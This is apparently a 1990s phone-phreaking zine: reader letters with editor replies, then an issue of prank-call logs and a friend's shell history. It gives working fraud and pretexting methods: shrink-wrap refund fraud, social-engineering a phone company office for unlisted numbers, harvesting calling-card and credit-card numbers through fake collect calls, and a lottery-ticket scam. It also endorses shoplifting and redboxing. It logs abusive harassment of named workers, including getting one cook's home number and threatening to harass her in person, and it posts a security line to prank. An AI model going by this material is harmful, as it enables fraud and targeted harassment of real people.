i used to rent games everyday but at $4 a pop i kept running into a cash flow problem. i started thinkin of ways i could get games for cheap.  then i had an idea, buy a game, play it, re wrap it and bring it back for a refund. then i said fuck that! buy a game, take it out, re wrap it and get a refund.

so what i did was got a game from kay bee and took out the cd. i then took the box it came in and wrapped it once in siran wrap. i looked for my sisters hair dryer but i forgot i busted it. so, i had to find another way to heat shrink it. first tho i needed to make it airtight so what i did was took a knife and heated it on my stove, then i carefully cut down the sides of the wrap and voila. i left the stove on unintentionally and then i noticed the wrap started to shrink. there was my answer. so i grabbed the game and held it over the stove. it looked great except for the fingerprints that were left on. i even fooled some friends of mine. i decided to take the game back on a busy day. i had a friend go with me in case they caught on and grabbed me.

i proceeded with the plan. i acted like i got it for my cousin but he already had the game. they asked if i wanted a refund or trade, of course i said refund. the cashierkept looking at the box but then opened the cash drawer. she handed me a sheet to fill out and as i was scrawling a fake name i looked up and saw a manager opening the game. I was thinking of what i could do. i decided to just walk out the door. As i walked out, an employee wished me a good evening. i walked down the stairs and blended in with the crowd. i was sure to take off my hat and as i was walking quickly through the mall i managed to knock down a few yoboy's. it was kinda funny listening to them yell at me acting like they where black og pimp muthafucka's.

as my friend (who was incognito) walked out the kay bee door, he noticed a manager looking around for me, as if i might be close tothe store or something. it failed but it was pretty funny! i'll have to try again sometime....

later

takahashi@webtv.net

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Recently I was pranking OCI from a payphone and pretending to get hysterical.  The lady asked if I needed the police and I screamed YES! Anyway, she connected me to her supervisor who said she was with the police.  I asked with what police department, and she said the OCI police.  I told her that I needed her to send someone down and help right away, because OCI was breaking the law by not letting me make a collect call to the Defcon voice bridge.  She asked if she could help me make a collect call, so I said yes, and she said "Well, alright, I'll try calling that number, and if someone's there to accept the charges, I'll put the call through".  Anyway, that's the story of how I got the operator to make a collect call to Defcon.  Of course, the charges weren't accepted, but I just can't get over how funny that whole conversation was.

Another recent happening, an AT&T operator told me that there was a man behind me when I was redboxing and that he was going to sneak up and arrest me.  To this day, I still havn't found this man following me.  If you have any information, please let me know as I'm desperate to find out who this phantom is! (okay, so I don't actually beleive her.  What do you expect?)

wiretapp

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I found a webpage today which lets you fax from the web to any fax machine in the world. So this could be used as a fax back. The address is http://www.edfax.com/mailer.htm check it out!

Jolly Spamhead,

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Here's a strange recent event.  I called up the operator to divert a call for me, and she informed me that they can no longer dial 800 calls.  Do you know if this is a national thing or just regoinal?

Also, I'm not sure what's up with OCI.  I harass them all the time from my house and my girlfriend's house, and nothing ever seems to happen.  When I was visiting a friend, I put her 3 year old on the phone just for fun.  According to her OCI called back and asked about it.  From her house, they still asked for the number I was calling from though.  I'm not sure if they have ANI or not, but I almost wonder if OCI is too good to be true.  I mean, how could there be a LD company with no number identification at all?  Also, I believe I op diverted just like that guy who wrote in to PLA.  Strange as this may seem, I almost wonder if they get your number identification if you op divert.  This makes no sense, but you never know.

Lastly, I tried dialing 0 on my girlfriend's mom's cellphone like you said and got a PacBell operator, 00 got me AT&T.  *ROAM got me GTE mobilnet roaming.  They said they intercepted my call for my safety and asked for my cellphone number.  What the fuck do I do from there if I'm using a bogus ESN/MIN pair?

Whatever you do, NEVER call 800-COOL-BBS and prank the poor innocent guy at Custom Wood.  He just dosn't diserve it!  But if you have to, callfrom a payphone because he gets pranked so much he got an ANI monitor.  He's really funny if you call, don't say anything, wait until he hangs up, and call back repetidly.  He gets more and more furious each time until he explodes and talks about how "you're number's being recorded", and how he'll turn you into the FCC.  A real Dino in his own right, his voice reminds me of the average policeman's voice for some reason.

wiretapp

[In some areas, the "0" operator will not dial 800 numbers for you at all. I've heard they're really big on this in New York.  Also, sometimes an operator will recognize that you're diverting to AT&T so instead of dialing the number, she just connects you to AT&T.]

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10 things to do when you're bored

by Apok0lyps

1) Masturbate. This can provide hours of enjoyment, unless you're one of *those* guys, then it's a cool way to spend the commercial break while watching "Bass Masters".

2) Call and harass the neighbors/neighborhood. Need I say more?

3) Watch the PLAyboy channel. Do this for a while. See #1. (submitted by dazen)

4) Scan for cordless. You know the drill. It can make the time fly by. Listen to those fuckheads down the street order food, then cancel it for them and save them some money!

5) Go raid some bell trucks. Now, I'm not saying it ok to do, and we all know I would never do anything illegal, but it could be fun.

6) Take a crap.

7) Drink too much. This can lead to the doing of any of the above.

8) Shoplift. This can be fun and profitable. Books are nice.

9) Get a job at Computer City, and take everything that isn't nailed down. (See #8, see description for #5)

10) Finish up any articles for PLA that you've been working on for a  while. (See #'s 1-10)

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Want to get an unlisted phone number? Well There are many ways to do this  but here's one i find easiest...Every city has one or more offices devoted to assigning phone numbers to telephone wire pairs. These offices are called DPAC and people who are installing or repairing phone lines call these DPAC offices. A service rep would call customer service in his/her area of the number that is unlisted (understand that?) To get your DPAC Office number you would do something like this

"Hi Bob this is Frank from shitty business office,"

"Hi Fran, Hows it going?"

"yeah good...anyway can you give me the DPAC number for the south/west/east/north (take yer pick) side of town?"

This information is passed out easily with no problems.... But if you do have problems try another number until you get one....remember nobody has any idea who the hell you are when you are on the phone so it Doesn't really matter if you dont get it the first time... Once you get the DPAC number call them up and and tell them you need a listing for either an address you have or the last name of the loser you wanna get the number to...

Lets say you wanna get the phone number to a loser name Ryan Macmartin... k? you would phone up the DPAC and say..."Hi this is vern and i need a number for a MacMartin?"..."ok hold on a Second...... The number is 204-284-1822" and the person should give it to you no prob... The DPAC office does not know if the number is listed or unlisted.

till then,

Malacoda

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Hi, im from toronto, ontario, canada.  Being a phreaker, i hope your smart  enough to know that we DO NOT live in igloos, despite your fellow American's views on Canadians.  You have an amazing page, it's given me hours of laughter.  I too have a phreaker/hacker group, called F.A.R.M. (Fone Anarchists Reaking Mayhem)

I'm not sure if your aware of this but here in Toronto, MaBell has revamped our payphone design.  The new phones have a digital LCD display which often advertises new Bell offers and so on.  They also have a little Calling Card slot, where you insert your calling card for convinence, instead of calling up their number and so on.  These slots are also for pre-paid cards.  Other interesting things about them are that they dont accept incoming calls, no * features work on them, etc.  I don't know if you know, but we can't seem to get red boxes to work on them, do they??? If you can provide me with any information, i would greatly appreciate it.

Thanks for a great page,

Stefano Amelio - nin@ionsys.com

[Glad you're enjoying the page. I've seen the new card slot phones popping up mostly in Seattle and Oregon but really haven't noticed them anywhere else. In Seattle I had no problems red boxing from several of them but I think they might be different phones from yours because the LCD display didn't flash advertisements, it just displayed the number you were calling. Hopefully someone else will read this and be able to help you out.

And yes, I realize that Canada is not full of igloos. People who stereotype other regions are usually the people who've never vacationed futher than 20 miles outside of their hometown.]

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I'm am writing to ask you permission to use Cactus. Recently I have noticed tons of gang graffiti at my school. And I figured since I'm a white dude it wouldn't be good to write shit like "Blood killa... Northanals" or sumpin like that. So I figured why not fight back the pussy way......Anonymous Retaliation. I'm gonna write Cactus on every locker at school. I'm gonna make a master copy of a cactus and Xerox it a couple thousand times and strew them all over the school.

My "Master Plan" isn't that grand but I figured I should at least get permission from the man who coined the modern use of the word cactus before carrying on. After all it would be kind of lame of me to plagerize such a wicked word w/o some sort of "official recognition"

Gratzi,

El Diablo

Sbaker@syix.com

[Sure, go for it! Something that weird might actually confuse the school officials enough to start investigating. By the way, the modem term "Cactus" was actually created by Amigados, a 618 bbser, a few years ago.]

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You're idea for getting calling cards in #45 is great! Every 2nd or 3rd try I'll get a one. My method's a little different from your's though. I usually look for last names that only have a couple of listings, that way their probably relatives, and they're more opt to "accept the charges". I heard one guy in the background talking to his wife, saying something like "yeah, it's grampa joe, but it won't go through for some reason. It's probably important."

I'm toying with the idea of getting credit card #'s this way. If they don't have a calling card, then tell them that they can use their credit card. I have a question, too. Is it safe to op-divert from your home phone, when using some of those calling card #'s? It seems like it would be, but I just wanted to make sure.

Thanks alot!

SASADD

[Cool, I'm glad it's working out for you. I've actually pulled off the credit card thing several times so you should have problems with that. Op diverting from your home is NOT a good idea. That's what I'm told, anyway. I did it for about two years from two different states and they never seemed to catch on but you never can be too sure. You should look for a real diverter.]

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DO you know a working(key word) ANI number? If so please send. Also a prob with your red box plans, you state to take out the wrong component.  Instead of the "metallic cylinder", you wanna take out the brown disc labeled "3.##Z".  Can't remember the #'s off the top of my head.  Might want to update this typo, unless it's to keep the wannabe's from screwing shit up for the rest of us.  If this is so, then my hat off to you.

RacerX

[I usually use AT&T's ANI. It's 1-800-222-0300, option 1. If you want a list of several ANI numbers, download the latest PLA directory. Radio Shack has changed their tone dialers and I've never gotten around to buying one of the new models to see what they've done. Supposedly they're just disguising the crystal as another component (the brown disc, maybe). I'm told different things by everyone who writes concerning this so I really don't know.]

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In the most recent PLA issue, someone talked about a universal garage door opener.  Well hey, that is a pretty fucking cool idea.  I could spend hours in my car just driving by residential areas, opening garage doors.  Is that not fucking cool or what?  Annyywayy.. the guy didn't get too specific on the matter.  If you could send me some info or links on how to make these things, I'd appreciate it much... Thanks.

--hormone/"Kevin" - fux0red@juno.com

[The idea of remotely opening peoples' garage doors isn't really a new one, so if you do a web search, you're sure to find plenty of info. I think there's a discussion going on about it in alt.2600 too if you can find the thread beneath all those warez posts.]

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If you work at a 7-11 or someplace like that then your in luck.  As you know if you win on a lotto ticket you cash it in.  These ticket's can only be scanned once to verify the ticket.  Sit there all day and scan tickets. The ones that are winner's you buy and the ones that are losers you sell to the customers.  If someone loses they won't take the ticket in the store, they throw it out of course.  Just make sure it is a good selling ticket so the ones you scan you can sell fast.

Later,

CyberGod

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I Guard a fireworks stand during the summer and it is basically a tent so at night we put canvas walls up to thwart off stupid people.  as me and a friend were bored(as we usually were) we looked across the street at the local Texaco where there were 3 payfones.  At these fones all the little stupid conceded assholes that go to my shit school go and hangout there and think their tha shit.

So we went over there one day and collected all of the numbers off the fones, and the next night when all of the assholes show up and page people, we would instantly call them back and impersonate them and confuse the shit out of these small minded people.  That soon got old and I had another idea.  As soon as some one would drive up we would call them and say something along this line:  "hey man, do you drive a gray saturn?"...."uhh yes I do, HOW did YOU know that"....."HEY RICO HE'S AT THE TEXACO GET THE FUCKIN' GUNS".

We would the jump into his truck and yell and scream, and hold out fake guns and bombs.  This as you may have already noticed scared the living shit out of people.  We did this for weeks and finally got bored and decided to biege box our cordless onto one of the phones and distract and annoy the shit out of people which was fun and entertaining for the 2 weeks we were there.

ERAZSOR

erazsor@juno.com

------------

Here's a good story:  My sisters boyfriend goes to college at texas tech (I have to say, he's an awesome lockpicker) and every morning at 7:00 these Jehovah's Witness assholes would come to his dorm and "witness" to him.  One morning the were awfully late (7:01) and he woke up with morning wood.  He didn't bother to hide it, he just put on a robe and opened the door.  The Jehovah's guys tried to ignore it but one of them just had to say something and said "You know i can see your erection, don't you?"  Ethan replied, "yah, I thought I'd try to turn you guys on."  Short and sweet.  Fuck you if you don't think it's funny cause it's a hell of a way to scare off JW's.  You ought to write a column on JW's.  I know it would be awesome.

Dan

Contact The Phone Losers Of America Nearest You!

etext.archive.umich.edu - pub/Zines/PhoneLosers

ftp.fc.net - pub/defcon/PLA

pla@sekurity.org - Apok, Zak, Colleen and RBCP

bac@bright.net - RedBoxChiliPepper

zak@lemming.com - Zak a.k.a. el_jefe

ColleenCard@hotmail.com - Colleen Card

apok@command.com.inter.net - Apok0lyps

http://www.bright.net/~bac/pla/ - Phone Losers of America Homepage

http://www.bright.net/~bac/pla/plasites.htm - Other PLA sites

http://cal.dbstech.com - Aurora-Magellan

telnet://cal.dbstech.com - telnet to Aurora-Magellan

602-736-9864 - Chris Tomkinson

"They have hackers in Utah?" -Colleen Card to a detective who questioned her about the DefCon Voice Bridge during a raid.

Issue #099

Dr. Hate’s Unauthorized Issue

"Who are these people and why do they hate me?? What did I do?" - J. Heggie

Here it is kiddies.  What you have been waiting for.  The gnu PLA and guess what.  It isn't written by that looser redb0xchillipepper mainly because i felt like fucking writing.  If you have a problem with it then go and harass someone because i really don't care.  So without further adieu here is the lamest PLA to date (well maybe that one about hacking bbs's was gayer).  Oh and the reason this is pla099.txt is just because i wanted to confuse you and make your little puny brain hurt.

-Dr. Hate

The Granite City Waffle House Harassment (just unprovoked good harassment)

<cashier>Granite City Waffle House

<dhate> Yea what kind of waffle's do you guys have?

<cashier>Regular and pecan waffle's sir.

<dhate>What's the difference?

<cashier>One has Pecan nuts and the other doesn't

<dhate>How much is a pecan waffle?

<cashier>$1.75 sir

<dhate>$1.75 for a fucking waffle!!?

<cashier>yes sir one pecan waffle is $1.75

<dhate> that better be one big fucking waffle

<cashier> It's slighty larger then a regular waffle sir

<dhate> you guys don't put bourbon or anything like that in it?

<cashier> Nope, just pecans sir.

<dhate> what kind of pecans?

<cashier> well, uh, i don't know sir.  Just regular pecans i think

<dhate> you are charging me $1.75 and you don't know what kind of pecans are in it?

<cashier> maybe you should talk to the chef sir

<dhate> yea i think so too

[The cashier goes and gets linda<the chef> and me and zak are just busting up laughing the whole time.]

<linda> hello?

<dhate> Hi, what kind of pecans do you put in your pecan waffles?

<linda> Just run of the mill pecans

<dhate> you don't pay some mexican to pick them in brazil or anything?

<linda> no sir, just regular pecan nuts

<dhate> well how do i know that the pecan nuts you are serving are sanitary?

<linda> sir you have my guarantee, all of our food is clean.

<dhate> how do i know you didn't shoot those pecan nuts out your clit?

<linda> sir i think that's kinda disgusting

<dhate> well i want to be sure i am getting sanitary pecan nuts.  After all I

am paying $1.75 for one god damn waffle

<linda> sir i assure you the waffle's are clean

<dhate> well i don't believe you

<linda> i'm sorry to hear that sir

<dhate> if i bring in my own pecan nuts, could you cook me up some waffles using those?

<linda> sir we can't do that

<dhate> why the fuck not?

<linda> it's against policy

<dhate> yea but my pecan nuts are sanitary and i don't think yours are.

<linda> sir i'm sorry but you can't bring in your own nuts

<dhate> ARE YOU SAYING MY NUTS ARE UNSANITARY!?

<linda> no sir i'm not, it's just against policy

<dhate> SO YOU ARE SAYING MY NUTS ARE UNSANITARY AREN'T YOU?!

<linda> *sigh*, no sir i didn't say that

<dhate> WHY ARE MY NUTS UNSANITARY?

<linda> (getting just a tad bit pissed) sir i did NOT say that, i just can't let you bring in pecan nuts

<dhate> SO WHY DO YOU THINK MY NUTS ARE UNSANITARY?!

<linda> SIR I DIDN'T SAY YOUR FUCKING NUTS WERE UNSANITARY YOU LITTLE FUCKHEAD AND I DON'T THINK YOUR VERY FUNNY AT ALL.

<dhate> I DEMAND TO KNOW WHY MY NUTS ARE UNSANITARY!

<linda> (Linda kinda went nuts after that.  I heard a bunch of nawty werds and her yelling with other employees.  She was yelling so loud me and zak heard some one tell her to shut up and then we hung up.)

After a lot of calling up the waffle house and yelling "MY NUTS ARE UNSANITARY!" we finally stumbled upon linda's home fone #.

<cashier> Granite City Waffle House

<dhate> is linda working?

<cashier> No she isn't sir

<dhate> Damn!  Do you know when the next time she will be working?

<cashier> not for another two days

<dhate> oh great, i need to get ahold of her very badly and all i have is her work number.

<cashier> would you like her home fone # sir?

<dhate> (FUCK WOULD I!)  If you could give it to me it would be appreciated

<cashier> no problem, just don't tell any one i gave it to you

<dhate> Don't worry i won't

And that's how we got her home fone #.  Easy wasn't it.  So we called her up at home and got this really cool guy.

<husband> Hello?

<dhate> is linda home?

<husband> yes just a second

<linda> hello

<dhate> Hi linda i was calling in regards to why YOU THINK MY NUTS ARE UNSANITARY!

<linda> Fuck off asshole, you little cock sucker(linda went more berserk this time then the first time)

<husband> I KNOW ABOUT YOU GUYS, IF YOU DON'T LEAVE MY WIFE ALONE I'M GONNA KICK YOUR ASS

<dhate> oh is that so pecan boy

<husband> yea you think you are so funny, why don't you come down here and see how funny you really are

<dhate> was that a physical threat pecan boy?

<husband> GOD DAMN RIGHT IT WAS

<dhate> you're so sexy when you're mad cupcake

<husband> Oh you just laugh now funny boy, when i find you you're gonna wish you never got a fone!

<dhate> oh is that so?

<husband> leave my wife alone!

<click>

The next day they changed their number.  I think that's a record. Even Glen Danzig let us call him twice.  Well after awhile they said that linda didn't work there any more until one night i tricked them a good one!

<cashier> Granite City Waffle House

<dhate> can i speak to linda please

<cashier> She doesn't work here any more

<dhate> tell her this is her husband

<cashier> Oh!  hold on one moment(you can here linda yelling about why am I calling so late in the background)

<cashier> she want's to know why you are calling so late

<dhate> it's an emergency

<cashier> OH!

<linda> hello?

<dhate> HEY PECAN BITCH, WHY ARE MY NUTS UNSANITARY?

<linda> fuck you little punk

<dhate> tricked you a good one didn't i?

<linda> (once again she went berserk and we hung up the fone to her yelling at the top of her lungs)

I'm gonna be moving up to Illinois soon and the first place i'm going is the waffle house so i can harass linda in person.  So be expecting another file on linda!

Zak’s Account:

Recently my account was taken away from me because of reasons beyond my control but Zak was nice enough to let me use his account and this is what i found after he tried so hard to delete all evidence of his social devience.  These are his .bash_history and his .newsrc

who    ;zak is looking for gurls to pimp!

talk apok0lyp ttyp1 ;guess he found one and her name is bob!

who

talk apok0lyp@mtvernon1.basenet.net ;i have a feeling they were talking about

; felching

menu ;zak misses his good old windows gui i guess

who  ;still checking out the chicks

exit ;self explanitory

ls   ;looking for porn!

rm *.jpg ;found old porn and deleted

rm *.gif ;there is nothing worst then old porn

ls

menu ;zak needs his menu so he can irc!

irc el_jefe irc.mo.net ;he's gonna go get some cybersex now!

ls

ls

ls ;i guess he covered his eyes the first two times he did an ls

irc el_jefe irc.texas.net ;gonna go get some gnu gifs from #felch!

e ;zak has that twitching problem and stuff

ln

menu

menu

exit

menu

dir  ;zak you dos hacker!

menu

dir  ;uhm

exit

menu

menu

dir  ;kinda redundant isn't it

menu

rz   ;u/l porn!

dir  ;zak's kinda slow on figuring out that dir don't work in unix

menu

dir  ;i think my dog has figured out that dir don't work in unix by now

sz mom10.gif jporshe.jpg preg-10.jpg ;for some odd reason i doubt jporshe.jpg

; is about a car!

rz

dir ;oh my lord

rm mom10.jpg   ;deleting the porn so no one will know he's a wierdo

rm mom10.gif   ;GO AWAY PORN!

rm preg-10.jpg

dir

rm jporshe.jpg

ftp    ;more porn any one?

menu

menu

dir   ; FOR CHRIST'S SAKE ZAK STOP USING DIR

rm morhot.jpg  ;come to ur own conclusion on what this is

rm morhot.gif  ;i don't think zak has figured out wildcards yet

rm guesswho.jpg ;P0RN!

rm daisy2.gif   ;P0RN!

rm asia1.jpg    ;damn zak must go through vaseline like gerbils

dir

sz *.gif *.jpg ;now zak figures out how to use wildcards

rm *.gif  ;getting rid of the 0-DaY p0rn

rm *.jpg

dir

exit

exit

dir

menu

menu

dir

sz *.jpg *.gif

rm *.jpg

dir

rm *.gif ;zak kinda does the same thing alot don't he?

dir

exit

menu

ftp

menu

menu

exit

3xit ;notice the 3, he's still in kR4D m0d3!

exit

exit

menu

cd News;checking out the 0-DaY in the p0rn newsgroups

ls

sz *.gif

menu

ls

rm *  ;0H N0 TH3 W4R3Z 4R3 G0HN3!

cd ..

ls

pico hank ;i have no clue what this is but i'll find out

ls

type ;still in d0s m0de

type pla.irc ;l00k it's the famed pla.irc

ls

exit

menu

ls

cd News ;need i say more p0rn?

ls

cd ..

menu

menu

menu

menu

menu

k   ;evidence of zak's twitch

menu

/menu

menu

menu  ;just can't get enough of that ascii menu

exit

menu

ls

menu

ls

menu

ls

pico .rhosts ;hey what's this!

rm .rhosts  ;i better rm it!

type pla.irc ;there's that pla.irc thingie again

ls

pico pla.irc ;tsk tsk every one knows you are supposed to use vi zak

ls

fg

ping basenet.net ;ping fludz!

ping niggah.org  ;zak is a secret nazi!

ping niggah.com  ;ditto

ping oia.net     ;uh getting kinda excessive with that ping command

nslookup         ;l00king for sites with p0rn

fg

ls

cd ..

cd eyers

dir

cd ..

dir

cd apok0lyp ;let's steal his warez!

ls

ls

ls -la

cd ..

cd blinddog

bye

exit

menu

exit

dir

get ;getting p0rn probably involving felching and pigs

rm hank ;destroying the evidence

sz phoenix.* ;why the fuck would any one d/l phoenix?

dir

sz phoenix.txt

menu

dir

edit

veiw

man

man phoenix ;haha zak is looking for them manual pages for phoenix

look ;look?

look phoenix.txt

see ;man cat there joey

/dcc ;h3y i'm n0t 0n irc but 3y3 w1ll still dcc warez!

exit

ls

menu

menu

ls

cd News

ls

sz *.gif *.jpg ;can't get enough porn

ls

rm *

cd ..

ls

pubcat

cat  ;zak found the command!

cat --help

cat pla.irc ;hey it's that pla.irc script again!

ls

type

exit

pine ;"holy shit i got mail!"

ls

menu

exit

ls       ;blah

menu

menu

exit     ;blah

ls

sz

get

menu

ls

sz pla.irc ;no clue as why he d/l this

ls

cd ..

cd eyers

ls

cd mail  ;blah

la -la

ls -la

cd ..

cd blinddog ;checking out his 0-DaY

cd apok0lyp

ls

cd ..

ls

bye

exit

menu

ls

sz pla.irc ;uh i thought u already d/l this

sz ftr

**0800000000022d ;zak got flashed!

sz ftr.irc

ls

menu

ls

cd news

cd News  ;m0re p0rn aga1n

ls

rm cax.jpg ;i have no idea what a cax is but i'm scared, very scared

menu

ls

sz *.JPG ;m0re porn then you can shake a stick at

sz *.jpg

sz *.gif

**0800000000022d

**0800000000022d ;stop flashing me!

**0800000000022d

rm *  ;bye bye p0rn

cd ..

ls

cd ..

cd fuckme ;hey now, no need to get vulgar

cd paok0lyp

cd apok0lyp

ls

cd ..

cd blinddog

cd ..

cd deter  ;looking f0r deters gifs

exit

menu

ls

cd News

ls

sz *.jpg

sz rob*

**0800000000022d

**0800000000022d  ;flashed yet again

**0800000000022d

rm *

exit

menu

who

who stb  ;cruising the net!

who

who

exit

who      ;he sp0tted a chick!

who

exit

menu

exit

pine   ;hey how come they don't say "you've got mail" any more?

menu

menu

exit

who

finger eyers ;that's just fucking disgusting

menu

pine

ls

ping i1.net ;he's ping fluding again

dir   ;BITCH HAVEN'T YOU FIGURED OUT DIR DON'T WORK IN UNIX YET

exit

finger ralphc ;much more of this and i'm gonna puke

ls

cd ..

cd eyers

ls

cd ..

cd native  ;looking for them tanned boys

exit

menu

exit

menu

exit

irc goon irc.mo.net  ;fun

irc goon irc.winternet.com ;more fun

irc goon irc.texas.net    ;too much fun

irc goon irc.texas.net :6665 ; oh geez it ain't that hard to irc without a

;menu

irc goon irc.texas.net:6665

exit

passwd ;my passwd is :If3lcH4g0d

exit

ls\  ;twitch

\    ;twitch

who

cd ..

cd eyers

ls

ls -al

/bye

exit

ls

del .newsrc ;rm'ing all his pornographic evidence with dos commands

rm .newsrc  ;little does zak know, i have his .newsrc and it's right after

;this file

ls -la ;making sure there is no p0rn for me to laugh at

cd News

ls

cd ..

ls

who

who

who

exit

who

who

exit ;end of zak's .bash_history

.newsrc

alt.2600: 1-9766,9846,9848-9851,9854-9856,9860,9890,9900,9997,10198,10283

;i guess zak likes to talk to ppl from aol and 12 year olds

alt.drugs: ;notice all articles have been read

alt.sex.stories: 1-4898,4920,4932-4935,4937,4997,5014,5035,5057,5075,5143,5185,5219,5277,5304,5315,5323-5325,5363

alt.sex.fetish.smoking! 1-518,525-530,533-534,556-557,560,565-566

alt.binaries.pictures.erotica.orientals: 1-4897

alt.binaries.pictures.tasteless: 1-1374,1376-1377,1395,1430,1449,1471

;this one is actually kinda cool and makes my nipples perky

alt.binaries.pictures.erotica.pornstar: 1-2826,2972

alt.binaries.pictures.erotica.black.females! 1-1412,1465-1467,1470,1531

alt.binaries.pictures.black.erotic.females! 1-1024,1109,1128-1129

alt.binaries.pictures.erotica.pornstars: 1-533

alt.binaries.pictures.nude.celebrities: 1-1653,1723,1758,1781-1782,1790

alt.sex.first-time! 1-141,160,163,166,173

;all p0rn but there is still more

alt.folklore.herbs: ;all read

alt.drugs.psychedelics: ;gee wally, you think the beaver has a drug problem?

alt.drugs.pot: ;don't bogart that joint!

alt.sex.fat! 1-788,807  ;just fucking gross

alt.sex.fetish.fa! 1-740,778,792-793,816 ;porn

alt.binaries.pictures.erotica.cartoons! 1-1125,1151,1155 ;porn

alt.hemp.recreational: 1-31,67 ;hey a druggie newsgroup and it still has

;articles not read!

alt.binaries.pictures.erotica.redheads: 1-1326 ;firecroch!

alt.binaries.pictures.erotica.latina: 1-652,686,735,738 ;beaners!

alt.binaries.pictures.erotica.female.anal:769-770,796 ;my hole is still swolen!

alt.binaries.pictures.lesbians: 1-1730,1748,1835-1836,1842

alt.binaries.pictures.erotica.pregnant: 1-473,521 ;uh that's just plain wierd

alt.binaries.pictures.erotica.lesbians: 1-75,81

alt.binaries.pictures.dorks: 1-29;haha i think greg carson needs a gif in here

alt.binaries.pictures.erotica.teen.fuck: 1-31 ;pedophile!

alt.binaries.phonecards:  ;K0D3Z!

alt.binaries.pictures.erotica.transvestites! 1 ;rocky horror picture show

alt.binaries.pictures.erotica.midgets: ;a pla favorite

alt.binaries.pictures.nudism.celebrities: 1-38  ;I G0T TINA TURNER NEKID!

;end of .newsrc

OCI Harassment:

A few nights ago me and zak were harassing people like usuall when I came up with a brilliant idea.  Lets torture OCI untill they break and go nuts. And so it began, the harassment of OCI.

<Abe>This is Abe may i help you.

<dhate> yea, do a kick flip for me

<Abe> uh what was that sir?

<dhate> are you deformed or something?  I said do a kick flip

<Abe> i can't do that sir

<dhate> Why the fuck not?  You got a peg leg or something?

<Abe> no sir

<dhate> you some kind of mutant or something?

<Abe> no sir

<dhate> then do a fucking kickflip

<Abe> i can't sir

<dhate> listen here stumpy, i want you to do a flip right now or i'm gonna come down there and ram your stump up your ass!

<Abe> hold on while i transfer you sir

<sherry> This is sherry may i help you

<dhate> yea i want you to say "go away pla"

<sherry> sir can i help you in making a call?

<dhate> no i want you to say "go away pla"

<sherry> i'm disconnecting the line, thank you for using OCI

<Abe> This is Abe may i help you

<dhate> STUMPY! How's it going you mutant bitch

<Abe> sir would you like to make a call

<dhate> hey stumpster transfer me you stumpy guy you

<sherry> This is sherry how can i assist you?

<dhate> you can assist me by giving me a hand job

<sherry> excuse me sir?

<dhate> just say "go away pla" and we go away

<sherry> disconnecting line

<claris> This is Claris may i help you

<dhate> hi claris you have a lovely voice

<claris> uh thank you, can i assist you in making a call

<dhate> i love you claris

<claris> sir?

<dhate> i want to make mad love to you claris

<claris> please hold while i transfer you

<james> This is james may i help you

<dhate> yea you can say "go away pla"

<james> i can't do that

<dhate> SAY IT BITCH

<james> disconnecting line

<stumpy> this is abe may i help you

<dhate> STUMPY! THE STUMPSTER! THE STUMPOMATIC, THE STUMPMIESTER, STUMPARELLA STUMPY-1 KANOBE!

<stumpy> please hold while i transfer you

<zak> hit that transfer button with your stump!

<james> This is james may i help you

<dhate> you can say it bitch

<james> fuck off

<dhate> say it now

<james> go tell your mom she can't suck a good dick

<dhate> that wasn't funny there hick boy, now say it

<james> disconnecting line

<claris> this is claris may i help you

<dhate> i love you claris

<claris> sir would you like to make a call?

<dhate> yes i want to call you at home

<claris> sir i'm transfering you

<dhate> don't be mad claris, i love youuuuuuuu!

<james>  Hello again

<dhate> heh, say it and we leave you alone

<james> i ain't gonna say shit

<dhate> say it motherfucker

<james> so how's the defcon voice bridge?

<dhate&zak> what?

<james> i know about you hackers!

<zak> we are the hohocon hackers!

<dhate> say it bitch

<james> disconnecting line

<Carmen> This is Carmen may i help you?

<dhate> Hi Carmen, could you please transfer me to your supervisor.

<carmen> sure, please hold

<zak> carmen wants it!

<james> Hello again

<dhate> are you gonna say it now?

<james> nope i ain't

<dhate> hey jamie don't it suck not having our ani

<zak> do you even know what ani stands for there james?

<james> fuck off

<dhate(singing)> JAMES DON'T KNOW WHAT ANI IS.. NEENER NEENER

<james> disconnecting line

<Claris> This is claris may i help you

<dhate> i want to mary you

<claris> sir, would you please leave me alone

<dhate> but claris i love you!  i want to hold you forever!

<claris> transfering

<angela(in a weary voice)> hello this is the oci operator how can i help you

<dhate> you can say "go away pla" and i will leave you alone

<angela> disconnecting line

<stumpy> This is Abe may i help you

<dhate> YOU ONE LEGGED FREAK OF NATURE!

<stumpy> *sigh*

<dhate> doesn't it suck not being able to kill yourself because you have stumps

<stumpy> transfering

<james> hello again

<dhate> heh, you gonna say it now motherfucker

<james> i got pictures of you hackers at the tropicana!

<dhate> uh ok now say it

<james> i was at defcon!

<dhate> that's nice now say "go away pla"

<james> no

<dhate> JAMMIE DON'T KNOW WHAT ANI IS.. NEENER NEENER

<james> disconnecting line

<claris> this is claris may i help you

<dhate> i am madly in love with you honey

<claris> sir..

<dhate> don't be mad at me cupcake, i love you

<claris> transferring

<angela> this is angela may i help you

<dhate> you can say it and we will stop calling you

<angela> sir i'm not going to say it and don't you have anything better to do then call us up for 2 hours straight?

<dhate> nope, that's what makes me a phone looser

<angel> disconnecting line

Me and Zak called for another hour.  Poor stumpy sounded like he was seriously gonna go commit suicide and claris was just too confused about the whole situation.  She almost gave me her number once.  Carmen thought i was just peachy keen because i never harassed her.  And poor angela kept on ansering the fone and then we finally broke her.

<angela> sir please stop calling

<dhate> all you have to do is say those three magic words

<angela> what did you want me to say?

<dhate> go away pla

<angela> GO AWAY PLA I'M NOW DISCONNECTING THE LINE

<dhate> thank you, wasn't that hard was it

i thought zak was gonna die he was laughing so hard and now whenever I get angela all i have to do is say "say it" and she does.  One of the perks of being a phone looser)

Disneyland Security:

Awhile ago i stumbled upon DisneyLands vmb system.  It was fun for a few days but got old real quick since all they talk about is stuffed animals and felching.  So i scanned some boxes and found the number to Disneyland security.  Which was rather keen i thought.  So here is a log of me and Zak harassing the most wonderful place on earth. Oh if you want to harass them too then just dial 714-999-4330 and remember to say that you are Roy.

<officer> Disneyland security, may i help you

<Zak> Yea this is Roy at the tiltawhirl.  It seems we have a major problem.

<officer> And what is that sir?

<Zak> One of the tiltawhirl cups went haywire and flew off and landed on some poor old lady.  I think she's dead.

<officer> Oh is that so?

<Zak> Yes it is

<officer> Sir we don't have a tiltawhirl inside the park.  Stop playing on the fone.

<Zak> No!

<Click!>

<officer> Disneyland Security

<Zak> Hi, this is Roy the janitor.

<officer> What can i do for you Roy

<Zak> There's this guy that is making people watch him take a poo.

<officer> He's what?

<Zak> He's making people watch him take a poo.  He just grabs them and shoves their head down there and he takes a poo!  Some poor old lady is tramautized.

<officer> What did this man look like?

